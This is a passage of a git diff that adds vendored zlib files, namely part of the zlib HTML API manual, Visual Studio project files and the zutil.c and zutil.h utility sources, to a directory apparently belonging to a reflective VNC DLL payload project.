+ + If the parameter flush is set to Z_FINISH, pending input is processed, + pending output is flushed and deflate returns with Z_STREAM_END if there + was enough output space ; if deflate returns with Z_OK, this function must be + called again with Z_FINISH and more output space (updated avail_out) but no + more input data, until it returns with Z_STREAM_END or an error. After + deflate has returned Z_STREAM_END, the only possible operations on the + stream are deflateReset or deflateEnd. +

+ + Z_FINISH can be used immediately after deflateInit if all the compression + is to be done in a single step. In this case, avail_out must be at least + 0.1% larger than avail_in plus 12 bytes. If deflate does not return + Z_STREAM_END, then it must be called again as described above. +

+ + deflate() sets strm-> adler to the adler32 checksum of all input read + so far (that is, total_in bytes). +

+ + deflate() may update data_type if it can make a good guess about + the input data type (Z_ASCII or Z_BINARY). In doubt, the data is considered + binary. This field is only for information purposes and does not affect + the compression algorithm in any manner. +

+ + deflate() returns Z_OK if some progress has been made (more input + processed or more output produced), Z_STREAM_END if all input has been + consumed and all output has been produced (only when flush is set to + Z_FINISH), Z_STREAM_ERROR if the stream state was inconsistent (for example + if next_in or next_out was NULL), Z_BUF_ERROR if no progress is possible + (for example avail_in or avail_out was zero). +

+ +

int deflateEnd (z_streamp strm); +
+ All dynamically allocated data structures for this stream are freed. + This function discards any unprocessed input and does not flush any + pending output. +

+ + deflateEnd returns Z_OK if success, Z_STREAM_ERROR if the + stream state was inconsistent, Z_DATA_ERROR if the stream was freed + prematurely (some input or output was discarded). In the error case, + msg may be set but then points to a static string (which must not be + deallocated). +

+ +

int inflateInit (z_streamp strm); +
+ Initializes the internal stream state for decompression. The fields + next_in, avail_in, zalloc, zfree and opaque must be initialized before by + the caller. If next_in is not Z_NULL and avail_in is large enough (the exact + value depends on the compression method), inflateInit determines the + compression method from the zlib header and allocates all data structures + accordingly ; otherwise the allocation will be deferred to the first call of + inflate. If zalloc and zfree are set to Z_NULL, inflateInit updates them to + use default allocation functions. +

+ + inflateInit returns Z_OK if success, Z_MEM_ERROR if there was not enough + memory, Z_VERSION_ERROR if the zlib library version is incompatible with the + version assumed by the caller. msg is set to null if there is no error + message. inflateInit does not perform any decompression apart from reading + the zlib header if present: this will be done by inflate(). (So next_in and + avail_in may be modified, but next_out and avail_out are unchanged.) +

+ +

int inflate (z_streamp strm, int flush); +
+ inflate decompresses as much data as possible, and stops when the input + buffer becomes empty or the output buffer becomes full. It may some + introduce some output latency (reading input without producing any output) + except when forced to flush. +

+ + The detailed semantics are as follows. inflate performs one or both of the + following actions: + +

    +
  • Decompress more input starting at next_in and update next_in and avail_in + accordingly. If not all input can be processed (because there is not + enough room in the output buffer), next_in is updated and processing + will resume at this point for the next call of inflate(). + +
  • Provide more output starting at next_out and update next_out and + avail_out accordingly. inflate() provides as much output as possible, + until there is no more input data or no more space in the output buffer + (see below about the flush parameter). +

+ + Before the call of inflate(), the application should ensure that at least + one of the actions is possible, by providing more input and/or consuming + more output, and updating the next_* and avail_* values accordingly. + The application can consume the uncompressed output when it wants, for + example when the output buffer is full (avail_out == 0), or after each + call of inflate(). If inflate returns Z_OK and with zero avail_out, it + must be called again after making room in the output buffer because there + might be more output pending. +

+ + If the parameter flush is set to Z_SYNC_FLUSH, inflate flushes as much + output as possible to the output buffer. The flushing behavior of inflate is + not specified for values of the flush parameter other than Z_SYNC_FLUSH + and Z_FINISH, but the current implementation actually flushes as much output + as possible anyway. +

+ + inflate() should normally be called until it returns Z_STREAM_END or an + error. However if all decompression is to be performed in a single step + (a single call of inflate), the parameter flush should be set to + Z_FINISH. In this case all pending input is processed and all pending + output is flushed ; avail_out must be large enough to hold all the + uncompressed data. (The size of the uncompressed data may have been saved + by the compressor for this purpose.) The next operation on this stream must + be inflateEnd to deallocate the decompression state. The use of Z_FINISH + is never required, but can be used to inform inflate that a faster routine + may be used for the single inflate() call. +

+ + If a preset dictionary is needed at this point (see inflateSetDictionary + below), inflate sets strm-adler to the adler32 checksum of the + dictionary chosen by the compressor and returns Z_NEED_DICT ; otherwise + it sets strm-> adler to the adler32 checksum of all output produced + so far (that is, total_out bytes) and returns Z_OK, Z_STREAM_END or + an error code as described below. At the end of the stream, inflate() + checks that its computed adler32 checksum is equal to that saved by the + compressor and returns Z_STREAM_END only if the checksum is correct. +

+ + inflate() returns Z_OK if some progress has been made (more input processed + or more output produced), Z_STREAM_END if the end of the compressed data has + been reached and all uncompressed output has been produced, Z_NEED_DICT if a + preset dictionary is needed at this point, Z_DATA_ERROR if the input data was + corrupted (input stream not conforming to the zlib format or incorrect + adler32 checksum), Z_STREAM_ERROR if the stream structure was inconsistent + (for example if next_in or next_out was NULL), Z_MEM_ERROR if there was not + enough memory, Z_BUF_ERROR if no progress is possible or if there was not + enough room in the output buffer when Z_FINISH is used. In the Z_DATA_ERROR + case, the application may then call inflateSync to look for a good + compression block. +

+ +

int inflateEnd (z_streamp strm); +
+ All dynamically allocated data structures for this stream are freed. + This function discards any unprocessed input and does not flush any + pending output. +

+ + inflateEnd returns Z_OK if success, Z_STREAM_ERROR if the stream state + was inconsistent. In the error case, msg may be set but then points to a + static string (which must not be deallocated). +

+
+

Advanced functions

+ The following functions are needed only in some special applications. +

Function list

+
+

Function description

+
+
int deflateInit2 (z_streamp strm, int level, int method, int windowBits, int memLevel, int strategy); + +
This is another version of deflateInit with more compression options. The + fields next_in, zalloc, zfree and opaque must be initialized before by + the caller.

+ + The method parameter is the compression method. It must be Z_DEFLATED in + this version of the library.

+ + The windowBits parameter is the base two logarithm of the window size + (the size of the history buffer). It should be in the range 8..15 for this + version of the library. Larger values of this parameter result in better + compression at the expense of memory usage. The default value is 15 if + deflateInit is used instead.

+ + The memLevel parameter specifies how much memory should be allocated + for the internal compression state. memLevel=1 uses minimum memory but + is slow and reduces compression ratio ; memLevel=9 uses maximum memory + for optimal speed. The default value is 8. See zconf.h for total memory + usage as a function of windowBits and memLevel.

+ + The strategy parameter is used to tune the compression algorithm. Use the + value Z_DEFAULT_STRATEGY for normal data, Z_FILTERED for data produced by a + filter (or predictor), or Z_HUFFMAN_ONLY to force Huffman encoding only (no + string match). Filtered data consists mostly of small values with a + somewhat random distribution. In this case, the compression algorithm is + tuned to compress them better. The effect of Z_FILTERED is to force more + Huffman coding and less string matching ; it is somewhat intermediate + between Z_DEFAULT and Z_HUFFMAN_ONLY. The strategy parameter only affects + the compression ratio but not the correctness of the compressed output even + if it is not set appropriately.

+ + deflateInit2 returns Z_OK if success, Z_MEM_ERROR if there was not enough + memory, Z_STREAM_ERROR if a parameter is invalid (such as an invalid + method). msg is set to null if there is no error message. deflateInit2 does + not perform any compression: this will be done by deflate().

+ +

int deflateSetDictionary (z_streamp strm, const Bytef *dictionary, uInt dictLength); +
+ Initializes the compression dictionary from the given byte sequence + without producing any compressed output. This function must be called + immediately after deflateInit, deflateInit2 or deflateReset, before any + call of deflate. The compressor and decompressor must use exactly the same + dictionary (see inflateSetDictionary).

+ + The dictionary should consist of strings (byte sequences) that are likely + to be encountered later in the data to be compressed, with the most commonly + used strings preferably put towards the end of the dictionary. Using a + dictionary is most useful when the data to be compressed is short and can be + predicted with good accuracy ; the data can then be compressed better than + with the default empty dictionary.

+ + Depending on the size of the compression data structures selected by + deflateInit or deflateInit2, a part of the dictionary may in effect be + discarded, for example if the dictionary is larger than the window size in + deflate or deflate2. Thus the strings most likely to be useful should be + put at the end of the dictionary, not at the front.

+ + Upon return of this function, strm-> adler is set to the Adler32 value + of the dictionary ; the decompressor may later use this value to determine + which dictionary has been used by the compressor. (The Adler32 value + applies to the whole dictionary even if only a subset of the dictionary is + actually used by the compressor.)

+ + deflateSetDictionary returns Z_OK if success, or Z_STREAM_ERROR if a + parameter is invalid (such as NULL dictionary) or the stream state is + inconsistent (for example if deflate has already been called for this stream + or if the compression method is bsort). deflateSetDictionary does not + perform any compression: this will be done by deflate().

+ +

int deflateCopy (z_streamp dest, z_streamp source); +
+ Sets the destination stream as a complete copy of the source stream.

+ + This function can be useful when several compression strategies will be + tried, for example when there are several ways of pre-processing the input + data with a filter. The streams that will be discarded should then be freed + by calling deflateEnd. Note that deflateCopy duplicates the internal + compression state which can be quite large, so this strategy is slow and + can consume lots of memory.

+ + deflateCopy returns Z_OK if success, Z_MEM_ERROR if there was not + enough memory, Z_STREAM_ERROR if the source stream state was inconsistent + (such as zalloc being NULL). msg is left unchanged in both source and + destination.

+ +

int deflateReset (z_streamp strm); +
This function is equivalent to deflateEnd followed by deflateInit, + but does not free and reallocate all the internal compression state. + The stream will keep the same compression level and any other attributes + that may have been set by deflateInit2.

+ + deflateReset returns Z_OK if success, or Z_STREAM_ERROR if the source + stream state was inconsistent (such as zalloc or state being NULL).

+ +

int deflateParams (z_streamp strm, int level, int strategy); +
+ Dynamically update the compression level and compression strategy. The + interpretation of level and strategy is as in deflateInit2. This can be + used to switch between compression and straight copy of the input data, or + to switch to a different kind of input data requiring a different + strategy. If the compression level is changed, the input available so far + is compressed with the old level (and may be flushed); the new level will + take effect only at the next call of deflate().

+ + Before the call of deflateParams, the stream state must be set as for + a call of deflate(), since the currently available input may have to + be compressed and flushed. In particular, strm-> avail_out must be + non-zero.

+ + deflateParams returns Z_OK if success, Z_STREAM_ERROR if the source + stream state was inconsistent or if a parameter was invalid, Z_BUF_ERROR + if strm->avail_out was zero.

+ +

int inflateInit2 (z_streamp strm, int windowBits); + +
This is another version of inflateInit with an extra parameter. The + fields next_in, avail_in, zalloc, zfree and opaque must be initialized + before by the caller.

+ + The windowBits parameter is the base two logarithm of the maximum window + size (the size of the history buffer). It should be in the range 8..15 for + this version of the library. The default value is 15 if inflateInit is used + instead. If a compressed stream with a larger window size is given as + input, inflate() will return with the error code Z_DATA_ERROR instead of + trying to allocate a larger window.

+ + inflateInit2 returns Z_OK if success, Z_MEM_ERROR if there was not enough + memory, Z_STREAM_ERROR if a parameter is invalid (such as a negative + memLevel). msg is set to null if there is no error message. inflateInit2 + does not perform any decompression apart from reading the zlib header if + present: this will be done by inflate(). (So next_in and avail_in may be + modified, but next_out and avail_out are unchanged.)

+ +

int inflateSetDictionary (z_streamp strm, const Bytef *dictionary, uInt dictLength); +
+ Initializes the decompression dictionary from the given uncompressed byte + sequence. This function must be called immediately after a call of inflate + if this call returned Z_NEED_DICT. The dictionary chosen by the compressor + can be determined from the Adler32 value returned by this call of + inflate. The compressor and decompressor must use exactly the same + dictionary (see deflateSetDictionary).

+ + inflateSetDictionary returns Z_OK if success, Z_STREAM_ERROR if a + parameter is invalid (such as NULL dictionary) or the stream state is + inconsistent, Z_DATA_ERROR if the given dictionary doesn't match the + expected one (incorrect Adler32 value). inflateSetDictionary does not + perform any decompression: this will be done by subsequent calls of + inflate().

+ +

int inflateSync (z_streamp strm); + +
Skips invalid compressed data until a full flush point (see above the + description of deflate with Z_FULL_FLUSH) can be found, or until all + available input is skipped. No output is provided.

+ + inflateSync returns Z_OK if a full flush point has been found, Z_BUF_ERROR + if no more input was provided, Z_DATA_ERROR if no flush point has been found, + or Z_STREAM_ERROR if the stream structure was inconsistent. In the success + case, the application may save the current current value of total_in which + indicates where valid compressed data was found. In the error case, the + application may repeatedly call inflateSync, providing more input each time, + until success or end of the input data.

+ +

int inflateReset (z_streamp strm); +
+ This function is equivalent to inflateEnd followed by inflateInit, + but does not free and reallocate all the internal decompression state. + The stream will keep attributes that may have been set by inflateInit2. +

+ + inflateReset returns Z_OK if success, or Z_STREAM_ERROR if the source + stream state was inconsistent (such as zalloc or state being NULL). +

+

+ +
+

Checksum functions

+ These functions are not related to compression but are exported + anyway because they might be useful in applications using the + compression library. +

Function list

+
+

Function description

+
+
uLong adler32 (uLong adler, const Bytef *buf, uInt len); +
+ Update a running Adler-32 checksum with the bytes buf[0..len-1] and + return the updated checksum. If buf is NULL, this function returns + the required initial value for the checksum. +

+ An Adler-32 checksum is almost as reliable as a CRC32 but can be computed + much faster. Usage example: +

+
+     uLong adler = adler32(0L, Z_NULL, 0);
+
+     while (read_buffer(buffer, length) != EOF) {
+       adler = adler32(adler, buffer, length);
+     }
+     if (adler != original_adler) error();
+   
+ +
uLong crc32 (uLong crc, const Bytef *buf, uInt len); +
+ Update a running crc with the bytes buf[0..len-1] and return the updated + crc. If buf is NULL, this function returns the required initial value + for the crc. Pre- and post-conditioning (one's complement) is performed + within this function so it shouldn't be done by the application. + Usage example: +
+
+     uLong crc = crc32(0L, Z_NULL, 0);
+
+     while (read_buffer(buffer, length) != EOF) {
+       crc = crc32(crc, buffer, length);
+     }
+     if (crc != original_crc) error();
+   
+
+
+

struct z_stream_s

+ +
+
+typedef struct z_stream_s {
+    Bytef    *next_in;  /* next input byte */
+    uInt     avail_in;  /* number of bytes available at next_in */
+    uLong    total_in;  /* total nb of input bytes read so far */
+
+    Bytef    *next_out; /* next output byte should be put there */
+    uInt     avail_out; /* remaining free space at next_out */
+    uLong    total_out; /* total nb of bytes output so far */
+
+    char     *msg;      /* last error message, NULL if no error */
+    struct internal_state FAR *state; /* not visible by applications */
+
+    alloc_func zalloc;  /* used to allocate the internal state */
+    free_func  zfree;   /* used to free the internal state */
+    voidpf     opaque;  /* private data object passed to zalloc and zfree */
+
+    int     data_type;  /* best guess about the data type: ascii or binary */
+    uLong   adler;      /* adler32 value of the uncompressed data */
+    uLong   reserved;   /* reserved for future use */
+} z_stream ;
+
+typedef z_stream FAR * z_streamp;  ÿ 
+
+
+ The application must update next_in and avail_in when avail_in has + dropped to zero. It must update next_out and avail_out when avail_out + has dropped to zero. The application must initialize zalloc, zfree and + opaque before calling the init function. All other fields are set by the + compression library and must not be updated by the application.

+ + The opaque value provided by the application will be passed as the first + parameter for calls of zalloc and zfree. This can be useful for custom + memory management. The compression library attaches no meaning to the + opaque value.

+ + zalloc must return Z_NULL if there is not enough memory for the object. + If zlib is used in a multi-threaded application, zalloc and zfree must be + thread safe.

+ + On 16-bit systems, the functions zalloc and zfree must be able to allocate + exactly 65536 bytes, but will not be required to allocate more than this + if the symbol MAXSEG_64K is defined (see zconf.h). WARNING: On MSDOS, + pointers returned by zalloc for objects of exactly 65536 bytes *must* + have their offset normalized to zero. The default allocation function + provided by this library ensures this (see zutil.c). To reduce memory + requirements and avoid any allocation of 64K objects, at the expense of + compression ratio, compile the library with -DMAX_WBITS=14 (see zconf.h). +

+ + The fields total_in and total_out can be used for statistics or + progress reports. After compression, total_in holds the total size of + the uncompressed data and may be saved for use in the decompressor + (particularly if the decompressor wants to decompress everything in + a single step).

+ +


+

Constants

+ +
+#define Z_NO_FLUSH      0
+#define Z_PARTIAL_FLUSH 1 
+	/* will be removed, use Z_SYNC_FLUSH instead */
+#define Z_SYNC_FLUSH    2
+#define Z_FULL_FLUSH    3
+#define Z_FINISH        4
+/* Allowed flush values ; see deflate() below for details */
+
+#define Z_OK            0
+#define Z_STREAM_END    1
+#define Z_NEED_DICT     2
+#define Z_ERRNO        (-1)
+#define Z_STREAM_ERROR (-2)
+#define Z_DATA_ERROR   (-3)
+#define Z_MEM_ERROR    (-4)
+#define Z_BUF_ERROR    (-5)
+#define Z_VERSION_ERROR (-6)
+/* Return codes for the compression/decompression functions. Negative
+ * values are errors, positive values are used for special but normal events.
+ */
+
+#define Z_NO_COMPRESSION         0
+#define Z_BEST_SPEED             1
+#define Z_BEST_COMPRESSION       9
+#define Z_DEFAULT_COMPRESSION  (-1)
+/* compression levels */
+
+#define Z_FILTERED            1
+#define Z_HUFFMAN_ONLY        2
+#define Z_DEFAULT_STRATEGY    0
+/* compression strategy ; see deflateInit2() below for details */
+
+#define Z_BINARY   0
+#define Z_ASCII    1
+#define Z_UNKNOWN  2
+/* Possible values of the data_type field */
+
+#define Z_DEFLATED   8
+/* The deflate compression method (the only one supported in this version) */
+
+#define Z_NULL  0  /* for initializing zalloc, zfree, opaque */
+
+#define zlib_version zlibVersion()
+/* for compatibility with versions less than 1.0.2 */
+
+
+ +
+

Misc

+
deflateInit and inflateInit are macros to allow checking the zlib version + and the compiler's view of z_stream. +

+ Other functions: +

+
const char * zError (int err); +
int inflateSyncPoint (z_streamp z); +
const uLongf * get_crc_table (void); +
+
+ + Last update: Wed Oct 13 20:42:34 1999
+ piapi@csie.ntu.edu.tw +
+ + + diff --git a/external/source/reflective_vncdll/zlib/zlib.vcproj b/external/source/reflective_vncdll/zlib/zlib.vcproj new file mode 100644 index 0000000000..bdc8fd02c3 --- /dev/null +++ b/external/source/reflective_vncdll/zlib/zlib.vcproj @@ -0,0 +1,333 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/external/source/reflective_vncdll/zlib/zlib.vcproj.7.10.old b/external/source/reflective_vncdll/zlib/zlib.vcproj.7.10.old new file mode 100644 index 0000000000..edc5a7b90f --- /dev/null +++ b/external/source/reflective_vncdll/zlib/zlib.vcproj.7.10.old @@ -0,0 +1,251 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/external/source/reflective_vncdll/zlib/zlib.vcproj.UNKNOWN.steve.user b/external/source/reflective_vncdll/zlib/zlib.vcproj.UNKNOWN.steve.user new file mode 100644 index 0000000000..4235de006f --- /dev/null +++ b/external/source/reflective_vncdll/zlib/zlib.vcproj.UNKNOWN.steve.user @@ -0,0 +1,37 @@ + + + + + + + + diff --git a/external/source/reflective_vncdll/zlib/zutil.c b/external/source/reflective_vncdll/zlib/zutil.c new file mode 100644 index 0000000000..ea0d48bb91 --- /dev/null +++ b/external/source/reflective_vncdll/zlib/zutil.c @@ -0,0 +1,225 @@ +/* zutil.c -- target dependent utility functions for the compression library + * Copyright (C) 1995-2002 Jean-loup Gailly. + * For conditions of distribution and use, see copyright notice in zlib.h + */ + +/* @(#) $Id: zutil.c 3351 2006-01-08 23:25:19Z mmiller $ */ + +#include "zutil.h" + +struct internal_state {int dummy;}; /* for buggy compilers */ + +#ifndef STDC +extern void exit OF((int)); +#endif + +const char *z_errmsg[10] = { +"need dictionary", /* Z_NEED_DICT 2 */ +"stream end", /* Z_STREAM_END 1 */ +"", /* Z_OK 0 */ +"file error", /* Z_ERRNO (-1) */ +"stream error", /* Z_STREAM_ERROR (-2) */ +"data error", /* Z_DATA_ERROR (-3) */ +"insufficient memory", /* Z_MEM_ERROR (-4) */ +"buffer error", /* Z_BUF_ERROR (-5) */ +"incompatible version",/* Z_VERSION_ERROR (-6) */ +""}; + + +const char * ZEXPORT zlibVersion() +{ + return ZLIB_VERSION; +} + +#ifdef DEBUG + +# ifndef verbose +# define verbose 0 +# endif +int z_verbose = verbose; + +void z_error (m) + char *m; +{ + fprintf(stderr, "%s\n", m); + exit(1); +} +#endif + +/* exported to allow conversion of error code to string for compress() and + * uncompress() + */ +const char * ZEXPORT zError(err) + int err; +{ + return ERR_MSG(err); +} + + +#ifndef HAVE_MEMCPY + +void zmemcpy(dest, source, len) + Bytef* dest; + const Bytef* source; + uInt len; +{ + if (len == 0) return; + do { + *dest++ = *source++; /* ??? to be unrolled */ + } while (--len != 0); +} + +int zmemcmp(s1, s2, len) + const Bytef* s1; + const Bytef* s2; + uInt len; +{ + uInt j; + + for (j = 0; j < len; j++) { + if (s1[j] != s2[j]) return 2*(s1[j] > s2[j])-1; + } + return 0; +} + +void zmemzero(dest, len) + Bytef* dest; + uInt len; +{ + if (len == 0) return; + do { + *dest++ = 0; /* ??? to be unrolled */ + } while (--len != 0); +} +#endif + +#ifdef __TURBOC__ +#if (defined( __BORLANDC__) || !defined(SMALL_MEDIUM)) && !defined(__32BIT__) +/* Small and medium model in Turbo C are for now limited to near allocation + * with reduced MAX_WBITS and MAX_MEM_LEVEL + */ +# define MY_ZCALLOC + +/* Turbo C malloc() does not allow dynamic allocation of 64K bytes + * and farmalloc(64K) returns a pointer with an offset of 8, so we + * must fix the pointer. Warning: the pointer must be put back to its + * original form in order to free it, use zcfree(). + */ + +#define MAX_PTR 10 +/* 10*64K = 640K */ + +local int next_ptr = 0; + +typedef struct ptr_table_s { + voidpf org_ptr; + voidpf new_ptr; +} ptr_table; + +local ptr_table table[MAX_PTR]; +/* This table is used to remember the original form of pointers + * to large buffers (64K). Such pointers are normalized with a zero offset. + * Since MSDOS is not a preemptive multitasking OS, this table is not + * protected from concurrent access. This hack doesn't work anyway on + * a protected system like OS/2. Use Microsoft C instead. + */ + +voidpf zcalloc (voidpf opaque, unsigned items, unsigned size) +{ + voidpf buf = opaque; /* just to make some compilers happy */ + ulg bsize = (ulg)items*size; + + /* If we allocate less than 65520 bytes, we assume that farmalloc + * will return a usable pointer which doesn't have to be normalized. + */ + if (bsize < 65520L) { + buf = farmalloc(bsize); + if (*(ush*)&buf != 0) return buf; + } else { + buf = farmalloc(bsize + 16L); + } + if (buf == NULL || next_ptr >= MAX_PTR) return NULL; + table[next_ptr].org_ptr = buf; + + /* Normalize the pointer to seg:0 */ + *((ush*)&buf+1) += ((ush)((uch*)buf-0) + 15) >> 4; + *(ush*)&buf = 0; + table[next_ptr++].new_ptr = buf; + return buf; +} + +void zcfree (voidpf opaque, voidpf ptr) +{ + int n; + if (*(ush*)&ptr != 0) { /* object < 64K */ + farfree(ptr); + return; + } + /* Find the original pointer */ + for (n = 0; n < next_ptr; n++) { + if (ptr != table[n].new_ptr) continue; + + farfree(table[n].org_ptr); + while (++n < next_ptr) { + table[n-1] = table[n]; + } + next_ptr--; + return; + } + ptr = opaque; /* just to make some compilers happy */ + Assert(0, "zcfree: ptr not found"); +} +#endif +#endif /* __TURBOC__ */ + + +#if defined(M_I86) && !defined(__32BIT__) +/* Microsoft C in 16-bit mode */ + +# define MY_ZCALLOC + +#if (!defined(_MSC_VER) || (_MSC_VER <= 600)) +# define _halloc halloc +# define _hfree hfree +#endif + +voidpf zcalloc (voidpf opaque, unsigned items, unsigned size) +{ + if (opaque) opaque = 0; /* to make compiler happy */ + return _halloc((long)items, size); +} + +void zcfree (voidpf opaque, voidpf ptr) +{ + if (opaque) opaque = 0; /* to make compiler happy */ + _hfree(ptr); +} + +#endif /* MSC */ + + +#ifndef MY_ZCALLOC /* Any system without a special alloc function */ + +#ifndef STDC +extern voidp calloc OF((uInt items, uInt size)); +extern void free OF((voidpf ptr)); +#endif + +voidpf zcalloc (opaque, items, size) + voidpf opaque; + unsigned items; + unsigned size; +{ + if (opaque) items += size - size; /* make compiler happy */ + return (voidpf)calloc(items, size); +} + +void zcfree (opaque, ptr) + voidpf opaque; + voidpf ptr; +{ + free(ptr); + if (opaque) return; /* make compiler happy */ +} + +#endif /* MY_ZCALLOC */ diff --git a/external/source/reflective_vncdll/zlib/zutil.h b/external/source/reflective_vncdll/zlib/zutil.h new file mode 100644 index 0000000000..5f0169d3f0 --- /dev/null +++ b/external/source/reflective_vncdll/zlib/zutil.h @@ -0,0 +1,220 @@ +/* zutil.h -- internal interface and configuration of the compression library + * Copyright (C) 1995-2002 Jean-loup Gailly. + * For conditions of distribution and use, see copyright notice in zlib.h + */ + +/* WARNING: this file should *not* be used by applications. It is + part of the implementation of the compression library and is + subject to change. Applications should only use zlib.h. + */ + +/* @(#) $Id: zutil.h 3351 2006-01-08 23:25:19Z mmiller $ */ + +#ifndef _Z_UTIL_H +#define _Z_UTIL_H + +#include "zlib.h" + +#ifdef STDC +# include +# include +# include +#endif +#ifdef NO_ERRNO_H + extern int errno; +#else +# include +#endif + +#ifndef local +# define local static +#endif +/* compile with -Dlocal if your debugger can't find static symbols */ + +typedef unsigned char uch; +typedef uch FAR uchf; +typedef unsigned short ush; +typedef ush FAR ushf; +typedef unsigned long ulg; + +extern const char *z_errmsg[10]; /* indexed by 2-zlib_error */ +/* (size given to avoid silly warnings with Visual C++) */ + +#define ERR_MSG(err) z_errmsg[Z_NEED_DICT-(err)] + +#define ERR_RETURN(strm,err) \ + return (strm->msg = (char*)ERR_MSG(err), (err)) +/* To be used only when the state is known to be valid */ + + /* common constants */ + +#ifndef DEF_WBITS +# define DEF_WBITS MAX_WBITS +#endif +/* default windowBits for decompression. MAX_WBITS is for compression only */ + +#if MAX_MEM_LEVEL >= 8 +# define DEF_MEM_LEVEL 8 +#else +# define DEF_MEM_LEVEL MAX_MEM_LEVEL +#endif +/* default memLevel */ + +#define STORED_BLOCK 0 +#define STATIC_TREES 1 +#define DYN_TREES 2 +/* The three kinds of block type */ + +#define MIN_MATCH 3 +#define MAX_MATCH 258 +/* The minimum and maximum match lengths */ + +#define PRESET_DICT 0x20 /* preset dictionary flag in zlib header */ + + /* target dependencies */ + +#ifdef MSDOS +# define OS_CODE 0x00 +# if defined(__TURBOC__) || defined(__BORLANDC__) +# if(__STDC__ == 1) && (defined(__LARGE__) || defined(__COMPACT__)) + /* Allow compilation with ANSI keywords only enabled */ + void _Cdecl farfree( void *block ); + void *_Cdecl farmalloc( unsigned long nbytes ); +# else +# include +# endif +# else /* MSC or DJGPP */ +# include +# endif +#endif + +#ifdef OS2 +# define OS_CODE 0x06 +#endif + +#ifdef WIN32 /* Window 95 & Windows NT */ +# define OS_CODE 0x0b +#endif + +#if defined(VAXC) || defined(VMS) +# define OS_CODE 0x02 +# define F_OPEN(name, mode) \ + fopen((name), (mode), "mbc=60", "ctx=stm", "rfm=fix", "mrs=512") +#endif + +#ifdef AMIGA +# define OS_CODE 0x01 +#endif + +#if defined(ATARI) || defined(atarist) +# define OS_CODE 0x05 +#endif + +#if defined(MACOS) || defined(TARGET_OS_MAC) +# define OS_CODE 0x07 +# if defined(__MWERKS__) && __dest_os != __be_os && __dest_os != __win32_os +# include /* for fdopen */ +# else +# ifndef fdopen +# define fdopen(fd,mode) NULL /* No fdopen() */ +# endif +# endif +#endif + +#ifdef __50SERIES /* Prime/PRIMOS */ +# define OS_CODE 0x0F +#endif + +#ifdef TOPS20 +# define OS_CODE 0x0a +#endif + +#if defined(_BEOS_) || defined(RISCOS) +# define fdopen(fd,mode) NULL /* No fdopen() */ +#endif + +#if (defined(_MSC_VER) && (_MSC_VER > 600)) +# define fdopen(fd,type) _fdopen(fd,type) +#endif + + + /* Common defaults */ + +#ifndef OS_CODE +# define OS_CODE 0x03 /* assume Unix */ +#endif + +#ifndef F_OPEN +# define F_OPEN(name, mode) fopen((name), (mode)) +#endif + + /* functions */ + +#ifdef HAVE_STRERROR + extern char *strerror OF((int)); +# define zstrerror(errnum) strerror(errnum) +#else +# define zstrerror(errnum) "" +#endif + +#if defined(pyr) +# define NO_MEMCPY +#endif +#if defined(SMALL_MEDIUM) && !defined(_MSC_VER) && !defined(__SC__) + /* Use our own functions for small and medium model with MSC <= 5.0. + * You may have to use the same strategy for Borland C (untested). + * The __SC__ check is for Symantec. + */ +# define NO_MEMCPY +#endif +#if defined(STDC) && !defined(HAVE_MEMCPY) && !defined(NO_MEMCPY) +# define HAVE_MEMCPY +#endif +#ifdef HAVE_MEMCPY +# ifdef SMALL_MEDIUM /* MSDOS small or medium model */ +# define zmemcpy _fmemcpy +# define zmemcmp _fmemcmp +# define zmemzero(dest, len) _fmemset(dest, 0, len) +# else +# define zmemcpy memcpy +# define zmemcmp memcmp +# define zmemzero(dest, len) memset(dest, 0, len) +# endif +#else + extern void zmemcpy OF((Bytef* dest, const Bytef* source, uInt len)); + extern int zmemcmp OF((const Bytef* s1, const Bytef* s2, uInt len)); + extern void zmemzero OF((Bytef* dest, uInt len)); +#endif + +/* Diagnostic functions */ +#ifdef DEBUG +# include + extern int z_verbose; + extern void z_error OF((char *m)); +# define Assert(cond,msg) {if(!(cond)) z_error(msg);} +# define Trace(x) {if (z_verbose>=0) fprintf x ;} +# define Tracev(x) {if (z_verbose>0) fprintf x ;} +# define Tracevv(x) {if (z_verbose>1) fprintf x ;} +# define Tracec(c,x) {if (z_verbose>0 && (c)) fprintf x ;} +# define Tracecv(c,x) {if (z_verbose>1 && (c)) fprintf x ;} +#else +# define Assert(cond,msg) +# define Trace(x) +# define Tracev(x) +# define Tracevv(x) +# define Tracec(c,x) +# define Tracecv(c,x) +#endif + + +typedef uLong (ZEXPORT *check_func) OF((uLong check, const Bytef *buf, + uInt len)); +voidpf zcalloc OF((voidpf opaque, unsigned items, unsigned size)); +void zcfree OF((voidpf opaque, voidpf ptr)); + +#define ZALLOC(strm, items, size) \ + (*((strm)->zalloc))((strm)->opaque, (items), (size)) +#define ZFREE(strm, addr) (*((strm)->zfree))((strm)->opaque, (voidpf)(addr)) +#define TRY_FREE(s, p) {if (p) ZFREE(s, p);} + +#endif /* _Z_UTIL_H */